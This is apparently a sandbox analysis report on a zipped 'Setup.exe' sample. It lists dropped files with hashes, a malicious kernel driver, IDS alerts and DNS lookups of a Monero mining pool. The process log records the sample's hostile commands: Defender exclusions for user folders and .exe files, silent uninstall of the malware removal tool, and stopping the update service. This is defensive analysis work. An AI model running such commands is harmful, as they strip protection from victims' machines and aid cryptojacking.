SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ki4imu4d.aku.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zqn2ogij.awp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1280_1024_POS4.jpg

Download File

Process:	C:\Windows\explorer.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	67684
Entropy (8bit):	7.829930120723189
Encrypted:	false
SSDEEP:	1536:IqjFspcGrjw2RAal82F5EwtJqF1WlDBGOFBbVEmX:Gprs2RARw5JqFoJnbhX
MD5:	EA159C2DE67A1E14B2B715E8C3625C29
SHA1:	735CACF1A08F721CCBD16DF1819E9195E413C62F
SHA-256:	95D1E84E1C136E0FF2A78A422228475C503715F953B3D121E13E6EF60CE3E81D
SHA-512:	E5C5FB77E448591C3AB72F9881A46DC36276CB5ED1D28427D8A13993752BEE7B6AC64E81AEA794C241680E087D39C192C6BF86033905A4E74049154CD0B3256D
Malicious:	false
Preview:	......JFIF.............C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?....W.....w.=i)p}i...QL..6..i..6.v=.q@....Q@...E.2.R)(...).......N.6.6.Z.JF.m4P42.u7i.`h...%!..Mj....(..IKI@.(........m:..h((..P1.z.R.PPR5-.......M..QNjm2...m?i...OZm:...-5.....F..E.!..N&..HJm:..c.M.w..)...F.ch.....)Z.@.jJst..P.Mj}4.h..E:.M......i.....L.X.C....E9..Xh)..I.E.jkT..i.DGH..ILci......X..........Z..!.i.........6.k..z....?Zn._..{sI...>...).H~.1AC.

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\MpCmdRun.log

Download File

Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	modified
Size (bytes):	4926
Entropy (8bit):	3.246100818649046
Encrypted:	false
SSDEEP:	48:FaqdF78F7B+AAHdKoqKFxcxkFiF7KaqdF7f+AAHdKoqKFxcxkFg:cEOB+AAsoJjykePEf+AAsoJjyk2
MD5:	D3DD0CF7FE3E07A7248B86C87F501E14
SHA1:	DE6EE697785CD73A7C9FE5401CDF6AADCF59E0CD
SHA-256:	35A063382FDD32A5A6AF8C8592389EE8B34929F940D858A310A74A997E0CDFE9
SHA-512:	B2EA0305E25B4F3A25FF0D7FA2FDCF3FE7165CC532E7F5DA4CC79EE6FC286C6552663849C35BC89E0BEE678A546D96F26EAC53A9B33E275466BA3552AD5B2AFD
Malicious:	false
Preview:	..........-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....M.p.C.m.d.R.u.n.:. .C.o.m.m.a.n.d. .L.i.n.e.:. .".C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.m.p.c.m.d.r.u.n...e.x.e.". .-.w.d.e.n.a.b.l.e..... .S.t.a.r.t. .T.i.m.e.:. .. F.r.i. .. O.c.t. .. 0.6. .. 2.0.2.3. .1.1.:.3.5.:.2.9.........M.p.E.n.s.u.r.e.P.r.o.c.e.s.s.M.i.t.i.g.a.t.i.o.n.P.o.l.i.c.y.:. .h.r. .=. .0.x.1.....W.D.E.n.a.b.l.e........................................ .W.S.C. .S.t.a.t.e. .I.n.f.o. ................................................................. .A.n.t.i.V.i.r.u.s.P.r.o.d.u.c.t. ..............................d.i.s.p.l.a.y.N.a.m.e. .=. .[.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.].....p.a.t.h.T.o.S.i.g.n.e.d.P.r.o.d.u.c.t.E.x.e. .=. .[.w.i.n.d.o.w.s.d.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	20884
Entropy (8bit):	5.471304084211427
Encrypted:	false
SSDEEP:	384:ZMBrkgSJJpP36XhqaJrYItklgN5452YcR4Ct35cg4CvPnbculgqd:2r8dKXhqa1NtBHfRYTU/bcBqd
MD5:	0E3B9E8B8CD9F13D0BD8734650A51CA7
SHA1:	C7A8212D4A6875EA8F190376B196E0C6CFD21CF9
SHA-256:	9F1F119F31BC61A36627A892424173ED33422A3FA5907D089D22192BE707DFDE
SHA-512:	E2D6CE8C6D6E8111C62E8D79BA2A302C7257D61CB91BE28A35A484635332849B76D81E09B4C32F015963B5799519E718780F77FF1C4B8F5D03A385925549BF2E
Malicious:	false
Preview:	@...e........... ....................................@..........H...............o..b~.D.poM...P..... .Microsoft.PowerShell.ConsoleHostD...............4..7..D.#V.....`.......System.Management.Automation0.................Vn.F..kLsw..........System..4...............<."..Ke@...j..........System.Core.4.................%...K... ...........System.Xml..L.................gQ?O.....x5.{.....#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.@................z.U..G...5.f.1........System.DirectoryServices<................t.,.lG....M...........System.Management...4...............&.QiA0aN.:... .G........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Commands.Utility...D....................+.H..!...e........System.Configuration.Ins

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	MS Windows Vista Event Log, 2 chunks (no. 1 in use), next record no. 42, DIRTY
Category:	modified
Size (bytes):	1052672
Entropy (8bit):	0.43222994401471093
Encrypted:	false
SSDEEP:	384:GfhHBiQk1bdzpFEVQCd3iDzJiLQKiDBi4k1bdzpFEVQ35yY3dik5pmik5pbik5po:0h0w+qLpBVi7CPIhMVlrF+tuV
MD5:	232006E5297B5EC13906C51D27668C28
SHA1:	B614403CC56FB9E58E869F44D3B6308885D2B059
SHA-256:	D0BE632B3993F5E23D76493E82C6E27846C5356D81E29D7A30A9C711589643B7
SHA-512:	CFA5136C006D80142DA3CB005C20299C54E6F7F98A1451408D344D7C9BDF0608E73847BB9B4A947A7552D49695BB92C5BAA026BC766F294E18A14B84E8088EF1
Malicious:	false
Preview:	ElfFile.................*....................................................................................................$@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\__PSScriptPolicyTest_1dqzfisx.swf.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_ft13hkj2.md3.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_ge2j1ypn.yrt.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_iop5zmwn.mt2.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\sidneyeifgjd.sys

Download File

Process:	C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14544
Entropy (8bit):	6.2660301556221185
Encrypted:	false
SSDEEP:	192:nqjKhp+GQvzj3i+5T9oGYJh1wAoxhSF6OOoe068jSJUbueq1H2PIP0:qjKL+v/y+5TWGYOf2OJ06dUb+pQ
MD5:	0C0195C48B6B8582FA6F6373032118DA
SHA1:	D25340AE8E92A6D29F599FEF426A2BC1B5217299
SHA-256:	11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5
SHA-512:	AB28E99659F219FEC553155A0810DE90F0C5B07DC9B66BDA86D7686499FB0EC5FDDEB7CD7A3C5B77DCCB5E865F2715C2D81F4D40DF4431C92AC7860C7E01720D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Joe Sandbox View:	Filename: jeNQRsRgBe.exe, Detection: malicious, Browse Filename: RemiTool v2.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.Siggen27.16296.12545.31206.exe, Detection: malicious, Browse Filename: Sms OTP Bypass.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win64.TrojanX-gen.27837.22565.exe, Detection: malicious, Browse Filename: xwizlLLNtX.exe, Detection: malicious, Browse Filename: gQZvXi6Osc.exe, Detection: malicious, Browse Filename: zLAr8hkDsu.exe, Detection: malicious, Browse Filename: udgE7Q3gs6.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5:n.q[..q[..q[..q[..}[..V.{.t[..V.}.p[..V.m.r[..V.q.p[..V.\|.p[..V.x.p[..Richq[..................PE..d....&.H.........."..................P.......................................p..............................................................dP..<....`.......@..`...................p ............................................... ..p............................text............................... ..h.rdata..\|.... ......................@..H.data........0......................@....pdata..`....@......................@..HINIT...."....P...................... ....rsrc........`......................@..B................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Entropy (8bit):	7.9999520848085055
TrID:	ZIP compressed archive (8000/1) 100.00%
File name:	MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip
File size:	4'442'123 bytes
MD5:	3384ccc27194a142f68c7ea1f157e2af
SHA1:	32644f4bf6678db76c9968fb048c8b3f78bb30ae
SHA256:	b892d9e7e59c6e61d99f8aeb1521b57567b821e10036d825648aebb66e754763
SHA512:	b396e132fe49196635c9f575f6e6cdf4413378d2b7220537eecbe3a120c755c736f245ceda863a970fdca12630719113c224c3ca374df22aba8161510c5d46a4
SSDEEP:	98304:RSsbQ+VoyemyiVJIAgAmbEg/a8uerMmYipUHr:EG3Vp15mWs5pUHr
TLSH:	EF26339EE80A193A91DC20494D6CCC4936B456128CD7863F060B3E5BE6BABE7375533F
File Content Preview:	PK........OgnXm.?.O.C...U...$.Setup.exe.. ..........6.P.v...6.P.v...6.P.v.........r.....D.....!.$...y....?Q.Y. ._.....B_F..R........G\.....J...2.X.=.^..f.."<w.i.t..z.<.......*.0\|..T.u... t..........L..=..~.!..yb7..}....-+.;.yq.Jh.i..[..j.$.oW...hl.f.....r

File Icon


Icon Hash:	1c1c1e4e4ececedc

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
03/14/24-13:56:00.164561	TCP	2841335	ETPRO TROJAN ELF/Mirai Variant CnC Checkin	59942	22	192.168.2.14	45.144.165.227
03/14/24-13:56:02.320789	TCP	2841335	ETPRO TROJAN ELF/Mirai Variant CnC Checkin	59948	22	192.168.2.14	45.144.165.227
03/14/24-13:56:00.878567	TCP	2841335	ETPRO TROJAN ELF/Mirai Variant CnC Checkin	59944	22	192.168.2.14	45.144.165.227
03/14/24-13:56:01.594395	TCP	2841335	ETPRO TROJAN ELF/Mirai Variant CnC Checkin	59946	22	192.168.2.14	45.144.165.227

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 14, 2024 13:59:53.834031105 CET	49704	10128	192.168.2.16	44.196.193.227
Mar 14, 2024 13:59:53.927774906 CET	10128	49704	44.196.193.227	192.168.2.16
Mar 14, 2024 13:59:53.928154945 CET	49704	10128	192.168.2.16	44.196.193.227
Mar 14, 2024 13:59:53.928154945 CET	49704	10128	192.168.2.16	44.196.193.227
Mar 14, 2024 13:59:54.021955967 CET	10128	49704	44.196.193.227	192.168.2.16
Mar 14, 2024 13:59:54.027618885 CET	10128	49704	44.196.193.227	192.168.2.16
Mar 14, 2024 13:59:54.082479000 CET	49704	10128	192.168.2.16	44.196.193.227
Mar 14, 2024 14:00:11.727569103 CET	49696	80	192.168.2.16	72.21.81.240
Mar 14, 2024 14:00:11.727715015 CET	49697	80	192.168.2.16	72.21.81.240
Mar 14, 2024 14:00:11.814764977 CET	80	49696	72.21.81.240	192.168.2.16
Mar 14, 2024 14:00:11.814784050 CET	80	49697	72.21.81.240	192.168.2.16
Mar 14, 2024 14:00:11.814843893 CET	49696	80	192.168.2.16	72.21.81.240
Mar 14, 2024 14:00:11.814861059 CET	49697	80	192.168.2.16	72.21.81.240
Mar 14, 2024 14:00:35.693918943 CET	10128	49704	44.196.193.227	192.168.2.16
Mar 14, 2024 14:00:35.765631914 CET	49704	10128	192.168.2.16	44.196.193.227
Mar 14, 2024 14:01:36.058617115 CET	10128	49704	44.196.193.227	192.168.2.16
Mar 14, 2024 14:01:36.109761953 CET	49704	10128	192.168.2.16	44.196.193.227
Mar 14, 2024 14:02:06.922986984 CET	10128	49704	44.196.193.227	192.168.2.16
Mar 14, 2024 14:02:06.976794958 CET	49704	10128	192.168.2.16	44.196.193.227

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 14, 2024 13:59:53.720092058 CET	55726	53	192.168.2.16	1.1.1.1
Mar 14, 2024 13:59:53.830224037 CET	53	55726	1.1.1.1	192.168.2.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 14, 2024 13:59:53.720092058 CET	192.168.2.16	1.1.1.1	0x66c6	Standard query (0)	gulf.moneroocean.stream	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 14, 2024 13:59:53.830224037 CET	1.1.1.1	192.168.2.16	0x66c6	No error (0)	gulf.moneroocean.stream	monerooceans.stream		CNAME (Canonical name)	IN (0x0001)	false
Mar 14, 2024 13:59:53.830224037 CET	1.1.1.1	192.168.2.16	0x66c6	No error (0)	monerooceans.stream		44.196.193.227	A (IP address)	IN (0x0001)	false

Target ID:	0
Start time:	13:59:20
Start date:	14/03/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
Imagebase:	0x7ff6a0810000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:59:25
Start date:	14/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:59:31
Start date:	14/03/2024
Path:	C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe"
Imagebase:	0x7ff605e50000
File size:	5'614'592 bytes
MD5 hash:	DF65134B0B2B2CC03F07647794B274E5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:59:31
Start date:	14/03/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Start-Process "C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe" -Verb runAs
Imagebase:	0x7ff7582a0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:59:31
Start date:	14/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6684c0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	13:59:32
Start date:	14/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetworkService -p
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:59:32
Start date:	14/03/2024
Path:	C:\Windows\System32\SgrmBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\SgrmBroker.exe
Imagebase:	0x7ff7648e0000
File size:	329'504 bytes
MD5 hash:	3BA1A18A0DC30A0545E7765CB97D8E63
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	13:59:32
Start date:	14/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k UnistackSvcGroup
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	13:59:33
Start date:	14/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	13:59:33
Start date:	14/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	13:59:33
Start date:	14/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k wsappx -p -s ClipSVC
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	13:59:33
Start date:	14/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	13:59:35
Start date:	14/03/2024
Path:	C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe"
Imagebase:	0x7ff605e50000
File size:	5'614'592 bytes
MD5 hash:	DF65134B0B2B2CC03F07647794B274E5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	13:59:40
Start date:	14/03/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Imagebase:	0x7ff7582a0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	13:59:40
Start date:	14/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6684c0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	13:59:44
Start date:	14/03/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff6fd780000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	13:59:44
Start date:	14/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6684c0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	13:59:44
Start date:	14/03/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop UsoSvc
Imagebase:	0x7ff691e80000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	13:59:44
Start date:	14/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6684c0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	13:59:44
Start date:	14/03/2024
Path:	C:\Windows\System32\wusa.exe
Wow64 process (32bit):	false
Commandline:	wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff7b1800000
File size:	345'088 bytes
MD5 hash:	FBDA2B8987895780375FE0E6254F6198
Has elevated privileges:	true
Has administrator privileges:	true
